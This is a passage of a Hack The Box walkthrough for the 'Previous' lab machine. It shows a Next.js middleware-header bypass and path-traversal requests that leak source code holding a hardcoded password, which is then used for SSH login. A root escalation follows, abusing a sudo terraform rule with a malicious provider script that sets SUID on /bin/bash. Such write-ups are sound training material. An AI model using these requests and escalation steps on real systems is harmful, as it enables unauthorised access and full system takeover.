cssChunking":true,"multiZoneDraftMode":false,"appNavFailHandling":false,"prerenderEarlyExit":true,"serverMinification":true,"serverSourceMaps":false,"linkNoTouchStart":false,"caseSensitiveRoutes":false,"clientSegmentCache":false,"preloadEntriesOnStart":true,"clientRouterFilter":true,"clientRouterFilterRedirects":false,"fetchCacheKeyPrefix":"","middlewarePrefetch":"flexible","optimisticClientCache":true,"manualClientBasePath":false,"cpus":1,"memoryBasedWorkersCount":false,"imgOptConcurrency":null,"imgOptTimeoutInSeconds":7,"imgOptMaxInputPixels":268402689,"imgOptSequentialRead":null,"isrFlushToDisk":true,"workerThreads":false,"optimizeCss":false,"nextScriptWorkers":false,"scrollRestoration":false,"externalDir":false,"disableOptimizedLoading":false,"gzipSize":true,"craCompat":false,"esmExternals":true,"fullySpecified":false,"swcTraceProfiling":false,"forceSwcTransforms":false,"largePageDataBytes":128000,"turbo":{"root":"/app"},"typedRoutes":false,"typedEnv":false,"parallelServerCompiles":false,"parallelServerBuildTraces":false,"ppr":false,"authInterrupts":false,"webpackMemoryOptimizations":false,"optimizeServerReact":true,"useEarlyImport":false,"viewTransition":false,"staleTimes":{"dynamic":0,"static":300},"serverComponentsHmrCache":true,"staticGenerationMaxConcurrency":8,"staticGenerationMinPagesPerWorker":25,"dynamicIO":false,"inlineCss":false,"useCache":false,"optimizePackageImports":["lucide-react","date-fns","lodash-es","ramda","antd","react-bootstrap","ahooks","@ant-design/icons","@headlessui/react","@headlessui-float/react","@heroicons/react/20/solid","@heroicons/react/24/solid","@heroicons/react/24/outline","@visx/visx","@tremor/react","rxjs","@mui/material","@mui/icons-material","recharts","react-use","effect","@effect/schema","@effect/platform","@effect/platform-node","@effect/platform-browser","@effect/platform-bun","@effect/sql","@effect/sql-mssql","@effect/sql-mysql2","@effect/sql-pg","@effect/sql-squlite-node","@effect/sql-squlite-bun","@effect/sql-squlite-wasm","@effect/sql-squlite-react-native","@effect/rpc","@effect/rpc-http","@effect/typeclass","@effect/experimental","@effect/opentelemetry","@material-ui/core","@material-ui/icons","@tabler/icons-react","mui-core","react-icons/ai","react-icons/bi","react-icons/bs","react-icons/cg","react-icons/ci","react-icons/di","react-icons/fa","react-icons/fa6","react-icons/fc","react-icons/fi","react-icons/gi","react-icons/go","react-icons/gr","react-icons/hi","react-icons/hi2","react-icons/im","react-icons/io","react-icons/io5","react-icons/lia","react-icons/lib","react-icons/lu","react-icons/md","react-icons/pi","react-icons/ri","react-icons/rx","react-icons/si","react-icons/sl","react-icons/tb","react-icons/tfi","react-icons/ti","react-icons/vsc","react-icons/wi"],"trustHostHeader":false,"isExperimentalCompile":false},"htmlLimitedBots":"Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview","bundlePagesRouterDependencies":false,"configFileName":"next.config.mjs"}
process.env.__NEXT_PRIVATE_STANDALONE_CONFIG = JSON.stringify(nextConfig)
require('next')
const { startServer } = require('next/dist/server/lib/start-server')
if (
Number.isNaN(keepAliveTimeout) ||
!Number.isFinite(keepAliveTimeout) ||
keepAliveTimeout < 0
) {
keepAliveTimeout = undefined
}
startServer({
dir,
isDev: false,
config: nextConfig,
hostname,
port: currentPort,
allowRetry: false,
keepAliveTimeout,
}).catch((err) => {
console.error(err);
process.exit(1);
});
- Based on the output of the
server.js, I built a summary of potential directories:
1. `/app`
2. `/app/.next`
3. `/app/node_modules`
4. `/app/public`
5. `/app/pages`
6. `/app/pages/api`
7. `/app/lib` or `/app/utils`
8. `/app/prisma` (optional if using Prisma)
9. `/app/styles`
10. `/app/.env`
11. `/app/migrations` (optional if using database migrations)
12. `/app/public/_next`
13. `/app/.next/cache`
14. `/app/next.config.mjs`
- With this information, I looked for more default or usually available files like the
package.json.
GET /api/download?example=../../../app/package.json HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzU1OTc4Mzk3LCJleHAiOjE3NTU5ODE5OTd9.clE3kgymdfxvgie2n1uSKCctcG281oHwMbQReY9Nc1I; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
- The response was actually helpful because it revealed the dependencies like
next-auth. - This could have given me a hint for more potential directories to look at.
- Besides that I also noticed
typescriptwhich is often used forauthentication databaseto store credentials.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 20:33:47 GMT
Content-Type: application/zip
Content-Length: 587
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/package.json
ETag: "10ykmnkceex1j4"
{
"private": true,
"scripts": {
"dev": "next dev",
"build": "next build"
},
"dependencies": {
"@mdx-js/loader": "^3.1.0",
"@mdx-js/react": "^3.1.0",
"@next/mdx": "^15.3.0",
"@tailwindcss/postcss": "^4.1.3",
"@tailwindcss/typography": "^0.5.16",
"@types/mdx": "^2.0.13",
"next": "^15.2.2",
"next-auth": "^4.24.11",
"postcss": "^8.5.3",
"react": "^18.2.0",
"react-dom": "^18.2.0",
"tailwindcss": "^4.1.3"
},
"devDependencies": {
"@types/node": "22.14.0",
"@types/react": "19.1.0",
"typescript": "5.8.3"
}
}
- 'mentats' suggested another location to check, which turned out to be the turning point for this pentest.
- The path
/app/.next/server/pages/api/contained thedownload.jsfile.
GET /api/download?example=../../../app/.next/server/pages/api/download.js HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzU1OTc4Mzk3LCJleHAiOjE3NTU5ODE5OTd9.clE3kgymdfxvgie2n1uSKCctcG281oHwMbQReY9Nc1I; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 20:45:17 GMT
Content-Type: application/zip
Content-Length: 1513
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/server/pages/api/download.js
ETag: "6ia71hjw4t45p"
"use strict";(()=>{var e={};e.id=147,e.ids=[147],e.modules={1845:(e,t,n)=>{n.r(t),n.d(t,{config:()=>f,default:()=>l,routeModule:()=>p});var r={};n.r(r),n.d(r,{default:()=>s});var i=n(3480),a=n(8667),o=n(6435);let u=require("fs");var d=n.n(u);function s(e,t){let{example:n}=e.query;if(!n||Array.isArray(n)){t.status(400).json({error:"Invalid filename"});return}let r=`${process.cwd()}/public/examples/${n}`;if(!d().existsSync(r)){t.status(404).json({error:"File not found"});return}let i=d().readFileSync(r);t.setHeader("Content-Type","application/zip"),t.setHeader("Content-Disposition",`attachment; filename=${n}`),t.setHeader("Content-Length",i.length),t.send(i)}let l=(0,o.M)(r,"default"),f=(0,o.M)(r,"config"),p=new i.PagesAPIRouteModule({definition:{kind:a.A.PAGES_API,page:"/api/download",pathname:"/api/download",bundlePath:"",filename:""},userland:r})},3480:(e,t,n)=>{e.exports=n(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,t)=>{Object.defineProperty(t,"M",{enumerable:!0,get:function(){return function e(t,n){return n in t?t[n]:"then"in t&&"function"==typeof t.then?t.then(t=>e(t,n)):"function"==typeof t&&"default"===n?t:void 0}}})},8667:(e,t)=>{Object.defineProperty(t,"A",{enumerable:!0,get:function(){return n}});var n=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})}};var t=require("../../webpack-api-runtime.js");t.C(e);var n=t(t.s=1845);module.exports=n})();
- Knowing that this path existed allowed me to search for
auth.tsand for the[...nextauth].jsfile. - Both are commonly used to store credentials for
Next.jsapplications. - And in this case the
[...nextauth].jscontained thepasswordforjeremy.
GET /api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzU1OTc4Mzk3LCJleHAiOjE3NTU5ODE5OTd9.clE3kgymdfxvgie2n1uSKCctcG281oHwMbQReY9Nc1I; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 20:39:05 GMT
Content-Type: application/zip
Content-Length: 1537
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/server/pages/api/auth/[...nextauth].js
ETag: "ihx6eiwskd47b"
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();
| Username | Password |
|---|---|
| jeremy | MyNameIsJeremyAndILovePancakes |
- This allowed me to access the target machine via
SSHand grab theuser.txt.
┌--(kali@kali)-[~/HTB/Previous]
└-$ SSH jeremy@10.10.11.83
The authenticity of host '10.10.11.83 (10.10.11.83)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This host key is known by the following other names/addresses:
~/.SSH/known_hosts:48: [hashed name]
~/.SSH/known_hosts:95: [hashed name]
~/.SSH/known_hosts:184: [hashed name]
~/.SSH/known_hosts:185: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.83' (ED25519) to the list of known hosts.
jeremy@10.10.11.83's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Aug 23 08:46:37 PM UTC 2025
System load: 0.01 Processes: 215
Usage of /: 68.5% of 8.76GB Users logged in: 0
Memory usage: 8% IPv4 address for eth0: 10.10.11.83
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable
1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
Last login: Sat Aug 23 20:46:37 2025 from 10.10.16.36
jeremy@previous:~$
Post-Exploit Enumeration
- First step was to rule out the obvious checks like
group memberships,sudo capabilitiesandhome directorycontent. Jeremyuser was allowed to execute/usr/bin/terraformwith the option of-chdir\=/opt/examples applyusingsudo.
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
- According to this, I checked
/optand found theTerraformrelated structure and files.
jeremy@previous:/opt$ ls -la
total 20
drwxr-xr-x 5 root root 4096 Aug 21 20:09 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
drwx--x--x 4 root root 4096 Aug 21 20:09 containerd
drwxr-xr-x 3 root root 4096 Aug 23 20:49 examples
drwxr-xr-x 3 root root 4096 Aug 21 20:09 terraform-provider-examples
- His
home directoryconveniently contained a.terraformrcwhich described the location of theexample filesforTerraform.
jeremy@previous:~$ ls -la
total 40
drwxr-x--- 5 jeremy jeremy 4096 Aug 23 20:35 .
drwxr-xr-x 3 root root 4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
drwxr-xr-x 2 root root 4096 Aug 23 20:35 .terraform.d
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root jeremy 33 Aug 23 19:01 user.txt
jeremy@previous:~$ cat .terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/usr/local/go/bin"
}
direct {}
}
Privilege Escalation to root
Terraform Misconfiguration
- Now the plan to abuse this
misconfigurationwas quite simple and straightforward. - I wanted to create my own
examples filescontaining thepayloadto get executed in the context ofrootthroughsudo. - Because the directory within
/optwas not writable to us, I moved to/tmpand created aterraform-provider-examplefile. - This hinted that I probably needed to override the
environment variables. - Allowing me to set a different location for the malicious
terraform.rcfile by usingexports.
jeremy@previous:/tmp$ cat terraform-provider-examples
#!/bin/bash
chmod u+s /bin/bash
jeremy@previous:/tmp$ chmod +x terraform-provider-examples
- To achieve that I first took the content of the
.terraformrcfile inside thehome directoryofjeremyand pointed it to/tmp.
jeremy@previous:/tmp$ cat terraform.rc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
- Then I made use of the
environment variableofTerraformcalledTF_CLI_CONFIG_FILEto export/tmp/terraform.rc.
jeremy@previous:/tmp$ export TF_CLI_CONFIG_FILE=/tmp/terraform.rc
- As the last step, all I had to do was execute the command using
sudo, and it set theSUID biton/bin/bash. - This allowed me to invoke
/bin/bash -pas the userjeremy, whichpreservedtheprivilegesduring execution. - This is resulted in granting me a
shellasroot.
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
[sudo] password for jeremy:
|
| Warning: Provider development overrides are in effect
|
| The following provider development overrides are set in the CLI configuration:
| - previous.htb/terraform/examples in /tmp
|
| The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
|
|
| Error: Failed to load plugin schemas
|
| Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message:
| Failed to read any lines from plugin's stdout
| This usually means
| the plugin was not compiled for this architecture,
| the plugin is missing dynamic-link libraries necessary to run,
| the plugin is not executable by this process due to file permissions, or
| the plugin failed to negotiate the initial go-plugin protocol handshake
|
| Additional notes about plugin:
| Path: /tmp/terraform-provider-examples
| Mode: -rwxrwxr-x
| Owner: 1000 [jeremy] (current: 0 [root])
| Group: 1000 [jeremy] (current: 0 [root])
| ..
jeremy@previous:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
jeremy@previous:~$ /bin/bash -p
bash-5.1#
- The Non-Seasonal - Previous Machine on Hack-The-Box was now complete.
